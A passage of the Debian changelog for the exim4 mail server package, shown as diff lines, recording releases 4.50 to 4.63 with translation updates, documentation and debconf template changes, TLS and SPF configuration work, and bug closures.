s/ipv6/IPv6 in templates (general writing consistency) + * Translation updates (see Last-Translator for rewards) + - Arabic (partial) + - Basque (partial) + - Croatian (partial) + - Greek (partial) + - Khmer + - Spanish (partial) + - Swedish + - Vietnamese. Closes: #392772 + * README.Debian: + * Fine tuning of SMTP AUTH and TLS docs after user feedback + received over $BEVERAGE irl. + * Adapt configuration chapter to re-worded templates. + * Fix exim4_files man page names to not pollute name space. + * Clarify exim4-config_files man page to reflect that the host name + given there does not actually influence the routing decision. + Thanks to Sven Luther. + * Fix list separator handling for dc_other_hostnames in ue4c. + Thanks to Alexandre Fayolle. Closes: #392831 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 14 Oct 2006 07:40:05 +0000 + +exim4 (4.63-5) unstable; urgency=low + + * define MAIN_LOG_SELECTOR conditionally. + Thanks to Aaron M. Ucko. Closes: #390758 + * Fix typos in man pages. Thanks to A. Costa. + Closes: #390705, #390706, #390707 + * Address #373786: + * cron.daily: Try UID change with start-stop-daemon, and fall + back to su if that fails. This should enhance compatibility + with libpam-tmpdir. + * exim4_refresh_gnutls-params: don't drop privileges any more, + generate gnutls-params as root and chown them later. + * Thanks to Piotr Kaczuba and Tollef Fog Heen. Closes: #373786 + * Add debugging facility to exim4_refresh_gnutls-params + * Debconf-Rework + * update-exim4.conf: expand UE4CC_semicolon list to allow + semicolons in all debconf questions as list separators for consistency. + * Do template changes suggested by Christian Perrier. Closes: #260141 + * new mail name template thanks to Jari Aalto. Closes: #275953 + * relay templates changes thanks to Ross Boylan. Closes: #342061 + * remove conftype exim3manual. Closes: #355265 + * use semicolon as list separator in debconf templates. ue4.conf + handles both semicolons and colons since #360162. Thanks to Adam + Borowski. Closes: #365428 + * Make existing templates style-compatible regarding developer's + reference. + * Lower priorities so that the Installer can do its work without + exim4 asking questions. Closes: #379485 + * Modify templates saying that smarthost::port is a valid + notation. Modify transport/30_exim4-config_remote_smtp_smarthost to + take only the first part of DCsmarthost (up to first colon) as host + name for hosts_try_auth. This allows debconf configuration of a + different port to connect to the smarthost. Closes: #251949 + * Add debconf template to packages telling people to dpkg-reconfigure + exim4-config. + * Allow choosing between delivery to /var/mail or ~/Maildir with debconf. + (am) Closes: #250980, #274560, #289959 + * Translation updates (see Last-Translator for rewards) + - Brazilian Portuguese + - Danish + - Galician + - Slovak + - Thai + - Turkish + - Romanian + - Japanese + - French + * Patch by Florian Weimer which disables RSA_EXPORT support which + should eliminate the "exim blocking on entropy starvation" issue. + * update-exim4.conf: Take only the first word from /etc/mailname as + system mail name. Thanks to Mike Mestnik. Closes: #215319. + * init script: log_failure_message alert if non-zero paniclog is + found. Thanks to Andreas Barth. + * README.Debian: document cron job, including paniclog monitoring. + Thanks to Stephen Gran. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 10 Oct 2006 16:50:27 +0000 + +exim4 (4.63-4) unstable; urgency=low + + * Make update-exim4.conf man page also update-exim4.conf.conf man page. + * Fix SPF error message when $sender_address_domain is undefined (i.e. sender + is <>). (rm) + * Change debian/rules documentation for daemon-custom build. + Thanks to Guido Hennecke. Closes: #386135 + * Rotate paniclog by size, not daily, to avoid rotating away + messages after complaining from the daily cron job. + Thanks to Dirk Meyer. + * Update Slovak translation. + Thanks to Peter Mann. + * Add Wolof translation. + Thanks to M Mamoune Mbacke + * Add a paragraph explaning the gnutls-bin suggestion to ease DH + parameter generation in case of entropy starvation. + Thanks to Andi Barth and Florian Weimer. + * Since a new version of sysvinit upload will move /var/run/ to a tmpfs + directories under /var/run/ and their permissions are not persistent + anymore but will be lost after a reboot. - Re-generate /var/run/exim4 in + the init script to compensate for this. (am) (closes: #387699) + * update-exim4.conf: Exit with an error if dc_use_split_config is neither + true nor false instead of replacing the configuration with an empty one. + (am) Closes: #386554 + * More intelligence for exim4_refresh_gnutls-params: + * If certtool (from gnutls-bin) is unavailable but openssl is installed + use openssl to re-generate DH params. (am) + * Change exim4-base Suggests on gnutls-bin to gnutls-bin|openssl. (am) + * Move invocation and background mechanism to exim4_refresh_gnutls-params. + Script can now be called any time from the command line or any + other script. + * Only regenerate dh params if tls_advertise_hosts is non empty. + According to Florian Weimer, DH params are only needed for + incoming TLS connections. + * Thanks, Yuri D'Elia. This addresses #387448 + * Improve entropy and gnutls-params docs. + * cron-daily: + * Invoke exim4_refresh_gnutls-params unconditionally. + * Send out e-mail alert if gnutls-params is older than 14 days. + * rename config varables to E4BCD_, source /etc/default/exim4 + * introduce a E4BCD_PANICLOG_NOISE variable containing a regexp. + Paniclog is negatively filtered against that regexp and paniclog + warning is only sent out if unfiltered lines remain. This is to allow + work around http://www.exim.org/bugzilla/show_bug.cgi?id=92 + * Prepare hosts_avoid_tls statement on SMTP transports + * Macroize log_selector, remove +tls_cipher from examples (it is on + by default) and always set tls_peerdn (we use TLS by default for + outgoing connections). Make it easier to enable debug logging. + * Mention in the comments of the default RCPT ACL that verification + is likely to have false negatives in smarthost/satellite setups. This + is the easiest way to fix #388460; the "real" fix would be very very + complicated and thus unsuitable for the default configuration. + Closes: #388460 + * README.Debian: + * Re-Work "misc" section to contain subsection. Fix minor + formatting issues. + * Add a section about SELinux to the misc subsection saying that + we currently do not have an SELinux policy but would appreciate + people helping here. This is already bug #387327 and #390179. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 1 Oct 2006 14:37:53 +0000 + +exim4 (4.63-3) unstable; urgency=low + + * Have exim4-config conflict with exim4-daemon-* << 4.63. + Thanks to Yannick Roehlly. Closes: #383420, #384058 + * Tweak NEWS.Debian formatting. Remove asterisks and make sure that + contents lines start with four spaces. + * exim4-config.NEWS: A pair of minor fixes in SPF entry. (rm) Closes: #383708 + * Apply upstream fix allowing header names with an odd number of + characters in add_headers in filters. + Thanks to Tony Finch. Closes: #384015 + * Add documentation for inaccessible home directories. + Thanks to Juha Jäykkä. Closes: #383469 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 23 Aug 2006 17:16:38 +0000 + +exim4 (4.63-2) unstable; urgency=low + + * upload to unstable + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 15 Aug 2006 20:35:55 +0000 + +exim4 (4.63-1) experimental; urgency=low + + * New upstream version 4.63 + + Change PostgreSQL charset handling. Closes: #369351 + + Recognize SMTP codes at the start of "message" in ACLs and after + :fail: and :defer: in a redirect router. Add forbid_smtp_code to + suppress the latter. forbid_smtp_code is enabled in Debian's + default config. Closes: #378131 + * Adapt configuration to current upstream + + re-work RCPT ACL. Closes: #379155 + + add new comments to default authenticators + + use $auth[123] instead of $[123] which are now deprecated + + forbid_smtp_code on userforward router + * Add missing dependency on lsb-base (>= 3.0-3), needed for the new + init-script shipped in exim4-base. (am) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 1 Aug 2006 10:47:44 +0000 + +exim4 (4.62-5) unstable; urgency=low + + * Fix typo in exim4-base daily cron job. + Thanks to Salvatore Bonaccorso. Closes: #381048 + * Fix language issues in package descriptions + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 8 Aug 2006 15:02:14 +0200 + +exim4 (4.62-4) unstable; urgency=low + + * Add missing dependency on lsb-base (>= 3.0-3), needed for the new + init-script shipped in exim4-base. (am) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 1 Aug 2006 11:03:57 +0000 + +exim4 (4.62-3) unstable; urgency=low + + * remove pkg-exim4-user mail address from README.Debian, mention + that one needs to be subscribed to post. + Thanks to Ross Boylan. Closes: #368242 + * re-word -o description in update-exim4.conf(8) man page. + Thanks to Ross Boylan. + * Flag update-exim4.conf(8) man page for a re-work in its BUGS + section. + * Give a - hopefully - better explanation of the mail name thingy in + README.Debian. + * Fix occurrences of default_acl file in documentation. Make part of + README.Debian less confusing. + Thanks to Ross Boylan. Closes: #376459 + * When installing via apt using dpkg-preconfigure the value of + dc_hide_mailname was overwritten during the second run of the debconf + script (invoked by postinst), before the value was stored in the + configuration file. Fix this. (am) Closes: #376460 + * Make spamassassin example in 40_exim4_config_check_data actually + work, add link to documentation for "really suiteable" configuration + examples. Thanks, again, to Ross Boylan. + * remove left-over "and a bunch" sentence from exim4-config_files.5 + * Add a symlink from /etc/email-addresses to /etc/exim4/email-addresses + * Fix bad parsing of CHECK_RCPT_DOMAIN_DNSBLS. + Thanks to Robert Millan. Closes: #378581 + * Note in README.Debian that other parts of the Debian system might + give outdated and/or wrong advice. See #378684, #378685. + * SPF support: (rm) Closes: #290464 + * Add (disabled) template to check SPF in 30_exim4-config_check_rcpt. + * Add libmail-spf-query-perl (>= 1.999-1) to Suggests. + * Rewrite Q/A about SPF from README.Debian. + * Add a small note to exim4-config.NEWS. + * Add conf.d/acl/30_exim4-config_check_mail to reject mail without HELO/EHLO. + (rm) Closes: #378935 + * Add LSBized init script. Thanks to Carlos Villegas. Closes: #376953 + * re-order RCPT ACL statements to resemble Upstreams default config + a little more. This used to be the case in the beginning, but was + changed eventually, and I didn't find any rationale for our deviation. + Thus, we change back to upstream's default to see which things might + break. + * remove cron.d from exim4-base dirs - we do not have a cron.d job + any more for years. + * Re-work daily cron job: + * Make statistics configurable with a variable + * Comment that the log handling code is fragile and depending on + log rotation strategy + * Add code to generate warnings if paniclog non-empty. + Thanks to Andrew Ferrier. Closes: #379898 + * Build -dbg packages. + * Updated vi (vietnamese) translation. + Thanks to Clytie Siddall. (am) Closes: #380357 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 31 Jul 2006 06:10:51 +0000 + +exim4 (4.62-2) unstable; urgency=low + + * Move explanation about using ";" as separator in lists from debian/NEWS to + debian/exim4-config.NEWS. (The former ends up as + /usr/share/doc/eximon4/NEWS.Debian.gz.) Also fix version-number of + entry. (am) + * have ue4.conf --verbose print split or non-split config. + Thanks to Florian Laws. (mh) + * Mention http://pkg-exim4.alioth.debian.org/ in package description. + Thanks to Florian Laws. (mh) + * Mention in package description that README.Debian has information + about how to configure the Debian packages. + * /etc/init.d/exim4: parse extended inetd.conf syntax from + openbsd-inetd. (mh) Closes: #365928 + * New th (thai) translation. + Thanks to Theppitak Karoonboonyanan. (mh) Closes: #367351 + * New dz (Dzongkha) translation. + Thanks to Pema Geyleg. (am) Closes: #368593 + * New ne (Nepali) translation. + Thanks to Paras pradhan. (am) Closes: #369526 + * New eo (Esperanto) translation. + Thanks to Serge Leblanc. (am) Closes: #369241 + * Updated hu (hungarian) translation. + Thanks to Attila Szervac. (am) Closes: #374616 + * Make documentation of CHECK_RCPT_LOCAL_LOCALPARTS and + CHECK_RCPT_REMOTE_LOCALPARTS more verbose and concentrate it in the + ACL file. Thanks to Klaus Muth. (mh) Closes: #366491 + * README.Debian.xml (mh) + * Add new section documenting where to find documentation. + * Move misplaced sentence. + * Fix spelling errors in README.Debian. + Thanks to Salvatore Bonaccorso. Closes: #366003 + Thanks to Ross Boylan. Closes: #374216 + * remove "you can stop reading now" sentence. + Thanks to David Lawyer. Closes: #370790 + * Mention Debian-specific man pages + * Give instructions about how to use apropos to find out about man + pages. + * Documentation changes inspired by Ross Boylan. Closes: #369126 + * Add exim4-config_files(5) man page to aid as repository for file + explanations. + * /etc/email-addresses + * /etc/exim4/local_host_blacklist + * /etc/exim4/local_host_whitelist + * /etc/exim4/local_sender_blacklist + * /etc/exim4/local_sender_whitelist + * /etc/exim4/local_sender_callout + * /etc/exim4/local_rcpt_callout + * /etc/exim4/local_domain_dnsbl_whitelist + * /etc/exim4/hubbed_hosts + * /etc/exim4/passwd + * /etc/exim4/passwd.client + * /etc/exim4/exim.crt + * /etc/exim4/exim.key + If you find any files that might be missing in the man page, + please report a bug. + * mention exim4-config_files(5) in update-exim4.conf.8 + * Explicitly mention README.Debian in exim man page. + * Remove /usr/share/doc/exim4-config/default_acl, move contents to + README.Debian and exim4-config_files. + * remove empty /usr/share/doc/exim4-config/examples. + * clarify docs in RCPT ACL. + * streamline docs: + * hubbed_hosts router. + * passwd.client. + * server side authentication examples + * Standard-Version: 3.7.2, no changes necessary. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 24 Jun 2006 08:56:19 +0000 + +exim4 (4.62-1) unstable; urgency=low + + * New upstream version + * remove !acl patch, bug is fixed upstream + * Some minor changes to README.Debian + * Downgrade priority of exim4/dc_eximconfig_configtype, exim4/no_config and + exim4/exim3_upgrade from critical to high, as there is a sane default. + Closes: #342077 + * Allow single quotes in recipient mail addresses. Closes: #346222 + * Update debian/mtalist to conflict with hula-mta. (mh) + * Move back man-pages (actually they are symlinks) related to the + mail-transport-agent virtual package from exim4-base to the daemon + packages. Other MTA packages also include these manpages and would + otherwise need to explicitly conflict with exim4-base. Add "Replaces: + exim4-base (<= 4.61-1)" to the daemon packages. Thanks to Justin Pryzby. + Closes: #362852 (am) + * Update km (Khmer) translation. + Thanks to Khoem Sokhem. (mh) Closes: #363672, #363671 + * Update pa (Punjabi) translation. + Thanks to A S Alam. (am) Closes: #364268 + * replace backticks with $() construct in ue4.conf. (mh) + * Allow ";" as separator in dc_local_interfaces and dc_relay_nets. + If a semicolon is found, "<;" is prepended to allow a semicolon as + separator. Thanks to Adam Borowski. (mh) Closes: #360162 + * Link against libdb4.3 instead of 4.2. (am). Closes: #365467 + * Standards-Version: 3.7.0, no changes required. (am) + * README.Debian: Add link to "how to use a completely different + configuration scheme" to the beginning of the chapter about Debian's + configuration to provide an easy way out for experienced exim people. + (mh) + * Fix grammar error in README.Debian. (Thanks, Ross Boylan) Closes: #365546 + * Whennever changing major Berkeley DB versions we zap the exim hint + databases in exim4-base postinst. Change the code to also delete + __db.retry, __db.misc, __db.callout and __db.wait* (which afaik are + Berkeley DB internal files). If these are somehow broken strange errors + occur, e.g. #360696. As we are deleting the whole db, deleting these files + seems to be a good idea. (am) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 2 May 2006 11:47:58 +0000 + +exim4 (4.61-1) unstable; urgency=low + + * New upstream version + - Temporary files for content scanning subdirectory are now also mode 640 + instead of 666. Closes: #280282 + - If group was specified without a user on a router, and no group + or user was specified on a transport, the group from the router + was ignored. Closes: #343074 + - .include statements now require an absolute path. Closes: #268083 + * Apply upstream patch allowing !acl constructs + (http://www.exim.org/mail-archives/exim-cvs/2006-April/msg00008.html) + * Rename the Punjabi translation file name from pa_IN to pa + to fit a decision taken in -i18n + * README.Debian: + * mention that relay_nets does allow relaying without authentication. + * minor formatting fixes + * Add Khmer debconf translation (Thanks, Kakada Hok) (bubulle) + Closes: #359668 + * Add linda overrides for libs-not-in-depends (see #357727) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 4 Apr 2006 19:50:39 +0000 + +exim4 (4.60-5) unstable; urgency=low + + * re-introduce inst_aliases, patch src/install_exim to prevent path + to inst_aliases to be put into example config file. (mh) + * Fix typo in README.Debian.xml, thanks to Frank S. Thomas. (mh) + * Fix Copy&Waste error in README.Debian.xml. + Thanks to Olaf van der Spek. (mh) Closes: #356354 + * Added partial Punjabi debconf translation, + thanks to Amanpreet Singh Alam. (cp) Closes: #349644 + * Fix wrong example in conf.d/acl/20_exim4-config_whitelist_local_deny. + Thanks to Kaare Hviid for pointing this out on IRC. (mh) + * Add documentation about Debconf templates to README.Debian to make + yath happy. (mh) + * exim4-refresh_gnutls-params: Use prefix for tempfile to make it + easier recognizeable. (mh) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 13 Mar 2006 15:30:07 +0000 + +exim4 (4.60-4) unstable; urgency=low + + * add rationale to README.Debian explaining why using system + passwords for SMTP AUTH is a bad idea. + * streamline configuration to decrease differences to upstream default + example, and to adopt new things that were added since we last + looked there. + * Do not set inst_aliases for installation, this only affects + example.conf anyway. + * fail build if upstream's example configuration has changed. + * fix NEWS confusion. Thanks to Andreas for spotting this. + * exim4-base.exim4.init: invoke exim4 daemon with the environment + cleaned to avoid language confusion. + * document tls on connect in README.Debian. + * use adduser --quiet instead of > /dev/null in *.postinst. + * Add require_files directive to userforward router to avoid errors + when mailing uucp@hostname. + * Add comment about setting up TLS in conf.d/auth/30_exim4-config_examples + to keep people from blindly allowing cleartext auth. + * Replace 37_dns_disable_additional_section patch with + 37_upstream_patch_342619, which is the nearly identical patch from + upstream CVS, approved by Philip. (mh) Closes: #342619 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 22 Feb 2006 10:30:16 +0000 + +exim4 (4.60-3) unstable; urgency=low + + * Have exim4-base replace exim4-daemon-light and -heavy. This is a + needed corollary to the movement of the man pages to -base. Let's + hope that this change doesn't introduce too much breakage. Thanks + to Hamish Moffatt for making me take a closer look at policy. + (mh) Closes: #347908, #348067 + * Introduce Makefile variable to build with OpenSSL instead of + GnuTLS. This is a last minute maneuver to help sites suffering from + the GnuTLS entropy issue (#338319, #343085) whose only other chance is + disabling TLS completely. Please note that building exim4-daemon-heavy + with OpenSSL is a GPL violation since OpenSSL's license clashes with + the MySQL client library, which is GPL licensed without OpenSSL + exception. (mh) + * re-pack configuration diffs. (mh) Closes: #331698 + * Fix wrong variable substitution in lt (Lithuanian) debconf + translation. Thanks to Davide Viti and Gintautas Miliauskas. (mh) + Closes: #342242 + * Fix typo in exim.8 man page. Thanks to A Costa. (mh) Closes: #338579 + * Honor dpkg-statoverride entries for run-time data in /var. + Thanks to Peter Mottram. (mh) Closes: #269448 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 15 Jan 2006 00:23:47 +0000 + +exim4 (4.60-2) unstable; urgency=low + + * Add, but not enable, 37_dns_disable_additional_section.dpatch, + which might be a possible fix for #342619 + * conf.d/auth/30_exim4-config_examples: add hint to adapt public_name + string in support_broken_outlook_express_4_server authenticator if + other authencators than LOGIN and PLAIN are offered. + * Fix missing special characters in some debconf translations. + Thanks to Davide Viti. (mh) Closes: #341442 + * Fix broken README reference in system_aliases router docs. (mh) + * remove references to alias files from the address_pipe transport. (mh) + * remove "Some-State" default from exim-gencert. (mh) + * Clarify split vs unsplit config in README.Debian. Thanks to Faheem + Mitha and Ross Boylan for helping. (mh) + * Update Build-Depends to libmysqlclient15-dev. (mh) Closes: #343767 + * Fix wrong header in conf.d/routers/300_exim4-config_real_local. + Thanks to Ross Boylan for spotting this. (mh) + * Document headers_rewrite, return_path and dc_mailname_in_oh in + update-exim4.conf man page. (mh) Closes: #332520, #342233 + * Re-Instate debian/patches/31_eximmanpage which was erroneously + removed in 4.60-1, we have local Debian patches in here. Thanks to + Ross Boylan for spotting this. (mh) Closes: #330967 + * Mention relay permission from localhost in update-exim4.conf(8). (mh) + * Add more prose to relay control configuration. (mh) + * Update Greek debconf translation (Thanks, Kostas Papadimas) (am) + Closes: #344576 + * Add cross-reference to README.Debian to better find macro docs. + Thanks to Shyamal Prasad. (mh) Closes: #329988 + * Fix incorrect variable substitution in pt_BR debconf translation. (Thanks, + Felipe Augusto van de Wiel) (am) Closes: #345363 + * [exim4-config.templates, po/*po] Replace reference to README.SMTP-AUTH + with one to its replacement README.Debian.html. (am) Closes: #344826 + * Re-work long package descriptions. Move reference to README.Debian in + front, add hint to dpkg-reconfigure exim4-config, complete stub + sentences, remove non-referenced acronym MTA from the long + descriptions, move explanation what exim is to the very front. + * README.Debian: Add section about changing the configuration, + explain structure of conf.d and .conf.template, add hint that the SMTP + AUTH examples are documented. + * Introduce MAIN_TLS_CERTKEY to allow for single-file certificate/key + storage. Thanks to John Goerzen. (mh) Closes: #315126 + * Mention entropy issue in README.Debian. + * Ship symlink to /usr/sbin/exim, see NEWS.Debian. (mh) Closes: 319316 + * use dh_installinit -n instead of --noscripts to work around #347577. (mh) + * use dh_installinit --name instead of --init-script, rename init + script. (mh) + * move man pages from daemon packages to exim4-base, add lintian + and linda overrides to allow daemon packages not to contain man pages. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 12 Jan 2006 12:36:50 +0000 + +exim4 (4.60-1) unstable; urgency=low + + * new upstream version 4.60 + * assign value to UE4CC after command line processing. Only have + ue4c throw an error on not-existing UPEX4C_confd if split config is + seleted. Thanks to Ted Percival. (mh) Closes: #337229 + * A number of man page fixes. Thanks to A Costa. (mh) + Closes: #338580, #338581, #338582, #338583, #338584 + * Pull spool dir path from exim -bP instead of hard-coding it in + daily cron job and exim4_refresh_gnutls-params. + Thanks to Alex Hermann. (mh) Closes: 340002 + * Corrected zh_CN translation by Ming Hua. (am) Closes: #338928 + * Corrected pl translation by Jacek Politowski. (am) Closes: #339671 + * Change README.Debian to clarify the exim as a client only uses + STARTTLS and not TLS on connect. Thanks to Rob Brenart and Marc + Sherman for pointing that out on exim-users. + * Clarify passwd.client format. Thanks to Osamu Aoki for providing a + good starting point in #244724, which is unfortunately not fixed just + now. + * remove patch 31_eximmanpage, fixes are included upstream. + + -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 28 Nov 2005 18:16:12 +0000 + +exim4 (4.54-2) unstable; urgency=low + + * debian/README.Debian* merged into one xml-file. Binary packages ship both + a html (generated by xsltproc) and plain-text version (lynx + + post processing) of the file. (Hilko Bengen) + * Switch to libmysqlclient14. + * Fix two typos in French debconf templates. + Thanks to Christian Perrier. (mh) + * Replace broken courier auth example with one that actually denies + access if a wrong password is given. Thanks to Peter Thomassen for + carrying that report from some colorful web forum to the people who + can fix it after like four months. (mh) Closes: #336979 + * Fix minor typos in README.Debian.xml and changelog. (mh) + * Add 255.255.255.255 to ignore_target_hosts in dnslookup. (mh) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 2 Nov 2005 19:40:22 +0000 + +exim4 (4.54-1) unstable; urgency=low + + * new upstream version 4.54. (mh) + * fix typo in router/real_local header + * add same_domain_copy_routing to router/hubbed_hosts + * [update-exim4.conf.8] false friend: s/sensible/sensitive/. + Thanks to Ross Boylan. (am) Closes: #330975 + * modify broken outlook express 4 authenticator so that it only + advertises on encrypted connections, as the other plaintext + authenticators do. Thanks again, Fred Viles. (mh) + * update-exim4.conf.8: alphabetically sort REPLACEMENT PATTERNS and + CONFIGURATION VARIABLES sections, add documentation for + DEBCONFlocal_domainsDEBCONF. + Thanks to Ross Boylan. (mh) Closes: #330980 + * fix bashism == in init script. Thanks to Adam D. Barratt and + Justin Pryzby. (mh) Closes: #331299 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 4 Oct 2005 09:59:24 +0000 + +exim4 (4.53-1) unstable; urgency=low + + * new upstream version 4.53. (mh) + * Fix obviously unfinished sentence in update-exim4.conf.8 + documenting dc_local_interfaces. (mh) + * Move SMTP authentication docs to README.Debian. (mh) + * Adapt reportbug script to be useable from the command line as well, + mention this in README.Debian mailing list paragraph. (mh) + * Remove /etc/default/exim4 in exim4-config's postrm instead of exim4-base's + one, as it is created in exim4-config's postinst. (am) Closes: #325901 + * Fix error in README.Debian.xinetd. + Thanks to Diego Biurrun. (mh) Closes: #327847 + * Fix substitute variable in Japanese (ja) debconf translation. + Thanks to Kenshi Muto. (mh) Closes: #329729 + * Add lintian override for maintainer-script-needs-depends-on-netbase. We + don't need that depends since update-inetd.conf is checked for presence + before invocation and that invocation is only optional cleanup. (mh) + * add linda override to kill double shlib warning - libgnutls is + fully versioned and thus is not a problem. (mh) + * add lintian override to kill bashism "local" warning for + exim4-config.config and exim4-config.postinst (see #330548). (mh) + * add general package blurb to description of the exim4 meta package + as well. Thanks to Marc Sherman for pointing this out. (mh) + * remove code to escape dashes in the pod2man generated man pages. + That code makes the man pages syntactically invalid, we'd rather + live with suboptimal rendering (which is a pod2man bug anyway). (mh) + * change spacing for rewrite rules in configuration, man page and + ue4.conf to ease paragraph filling for the man page. (mh) + * re-pack config patches. (mh) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 28 Sep 2005 18:34:51 +0000 + +exim4 (4.52-2) unstable; urgency=low + + * unpack/pack configs to get clear EDITME patches (mh) + * Update ca (Catalan) translation. + Thanks to Aleix Badia i Bosch. (mh) Closes: #317429 + * Update mk (Macedonian) translation. + Thanks to Georgi Stanojevski. (mh) Closes: #320231 + * Use certtool from gnutls-bin in cron.daily to re-generate gnutls-params + instead of only removing the file and letting exim4 re-generate it at SMTP + time after receiving STARTTLS. The maximum runtime of certtool is limited + to 2*1800 seconds per default by using timeout.pl by Piotr Roszatycki + (checked and beautified by Marc 'HE' Brockschmidt). Add gnutls-bin to + exim4-base' Suggests. (am) Closes: #285371 + * Build-Depend on libgnutls-dev (from gnutls12) instead of libgnutls11. + * Drop compability with debhelper in woody (am): + - mv *.templates.master *.templates + - update po/POTFILES.in accordingly. + - no more manual invocation of po2debconf in debian/rules + - use dh_installppp instead of manual dh_installdirs/dh_install. + Closes: #212893 + - Build-Depends: debhelper (>= 4.1.68) + * drop upgly passwd dependency introduced in 4.30-6. (am) + * shorten Build-Depends by replacing "libxfoo-dev|xlibs-dev' with just + 'libxfoo-dev'. (am) + * Do not try to authenticate to smarthost if smarthost offers AUTH LOGIN but + passwd.client does not contain a matching entry. (am) Closes: #323565 + + -- Andreas Metzler <ametzler@debian.org> Sun, 21 Aug 2005 11:44:27 +0200 + +exim4 (4.52-1) unstable; urgency=low + + * new upstream version 4.51. (mh) + * adapt 70_remove_exim-users_references + * remove 37_gnutlsparams + * adapt 36_pcre + * adapt 31_eximmanpage + * fix package priorities to have them in sync with override again. (mh) + * Fix error in nb (Norwegian) translation. + Thanks to Helge Hafting. (mh). Closes: #315775 + * Standards-Version: 3.6.2, no changes needed. (mh) + + -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 2 Jul 2005 06:08:34 +0000 + +exim4 (4.51-2) unstable; urgency=low + + * Fix typo in exiwhat.8. (am) Closes: #313246 + * Clarify tls_verify_certificates documentation in + conf.d/main/03_exim4-config_tlsoptions. Thanks to Wenzhuo Zhang. (mh) + * Accept postmaster liberally for relay_to_domains. Thanks to + Roderick Schertler. (mh) Closes: #313023 + * Improve update-exim4.conf's internal run-parts to warn about ignored files + if running in verbose-mode. (am) Closes: #315656 + * Make it possible to purge a previously uninstalled exim4-suite if debconf + has between removed since. (am) Closes: #315173 + - Stop useless sourcing of confmodule in exim4-config.postrm. + - Use debconf to ask about trashing the mailqueue if debconf is available, + keep the queue otherwise. + * exim failed to setup gnutls parameters if the gnutls-param file was + missing. This caused TLS breakage. (am) Closes: #315650 + + -- Andreas Metzler <ametzler@debian.org> Tue, 28 Jun 2005 19:35:35 +0200 + +exim4 (4.51-1) unstable; urgency=low + + * new upstream version 4.51. (mh) + * remove 80_upstream_fix-296492 + * remove 81_fix-kfreebsd-gnu + * remove 82_upstream_fix-299733 + * remove 82_upstream_fix_299743 + * remove 83_upstream_fix-strangelog + * build-depends: replace postgresql-dev with libpq-dev. (mh) + * apply patch to EDITME.exim4-heavy.diff from ubuntu for clearer + postgresql build. (mh) + * fix wrong dc_other_hostnames statement in manpage. Thanks to + Daniel Hermann. (mh) Closes: #311023 + * give more directions how to use /etc/exim4/exim4.conf. (mh) + * Fix duplicated server_advertise_condition line in + login_saslauth_server. Thanks to Rich Aycock. (mh) Closes: #311906 + * Conditional restarting the daemon in exim4-config.config now checks for + DEBCONF_RECONFIGURE=1 instead of (mis)using an internal + debconf-template. (am) + * Documentation Improvements for update-exim4.conf.8, exim4.conf.template + and 01_exim4-config_listmacrosdefs and README.Debian. + Thanks to Ross Boylan. (am/mh) + * New translation: et (Estonian) by Siim Põder. (mh) Closes: #312474 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 10 Jun 2005 18:57:03 +0000 + +exim4 (4.50-8) unstable; urgency=low + + * integrate TLS docs in README.Debian, remove README.TLS. + Thanks to Sam Morris. (mh) Closes: #310771 + + -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 27 May 2005 07:57:14 +0000 + +exim4 (4.50-7) unstable; urgency=low + + * Documentation Only Fixes + - Fix grammar error in README.system_aliases. Thanks to Andreas + Barth on IRC. (mh) + - Optimize unencrypted authentication docs. Thanks to Drew Parsons. + (mh) Closes: #305443 + - Clarify dc_smarthost host list processing in update-exim4.conf.8. + (mh) Closes: #307370 + - Clarify split-config description in README.Debian. + Thanks to Luc Saffre. (mh) + - Fix a typo in README.Debian-accountname, thanks to Brett Parker. (mh) + - Fix an issue in the exim manpage creating the illusion that + whitespace is allowed between -d and its options. + Thanks to Greg Kochanski. (mh) Closes: #309174 + - Start re-work of README.Debian FAQ. + - Add "should -config depend on -base" question to README.Debian FAQ. + - Link README.Debian to -daemon-light and -daemon-heavy, include a + copy of README.Debian in -config. + Thanks to Daniel Maier. (mh) Closes: #310118 + * Translations + - Update: cy (Welsh) by Dafydd Harries. (mh) Closes: #306349 + - New: vi (Vietnamese) by Clytie Siddall. (mh) Closes: #306613 + - Fix typos in pt.po (Thanks, Miguel Figueire) (am) Closes: #310057 + * Configuration Clarification + - move the regexps in the local part checks to macros, adapt docs. + Thanks to Adam M. Costello. (mh) Closes: #306094 + * Bug Fixes + - preserve escape sequences like '\\N' in + /etc/exim4/update-exim4.conf.conf: + - use awk instead of sed in exim4-config.postinst (Thanks, Barry Kitson). + - use printf '%s\n' "$foo" instead of echo "$foo". (echo in dash would + swallow the second backslash) + - actually making this work requires changes in debconf, too, + see #306134. + - (Closes: #305957) (am) + - apply upstream patch from + http://www.exim.org/mail-archives/exim-users/Week-of-Mon-20050425/msg00035.html + in some circumstances, exim writes parts of /etc/passwd and/or + /etc/group to the reject log. This scares people. (mh) + - apply upstream patch from + http://www.exim.org/mail-archives/exim-dev/2005-April/msg00012.html to + only try SASL mechanisms that are actually specified in the + configurations. Thanks to Juergen Kreileder. (mh) Closes: #299743 + - Build against libmysqlclient12-dev instead of libmysqlclient10-dev. + (am) Closes: #306970 + - As "mail sent by smarthost; no local mail" aka satellite requires setting + dc_readhost always ask this question. (am) Closes: #304838 + - Make nonsplit-config read /etc/exim4/exim4.conf.localmacros before + /etc/exim4/exim4.conf.template to allow 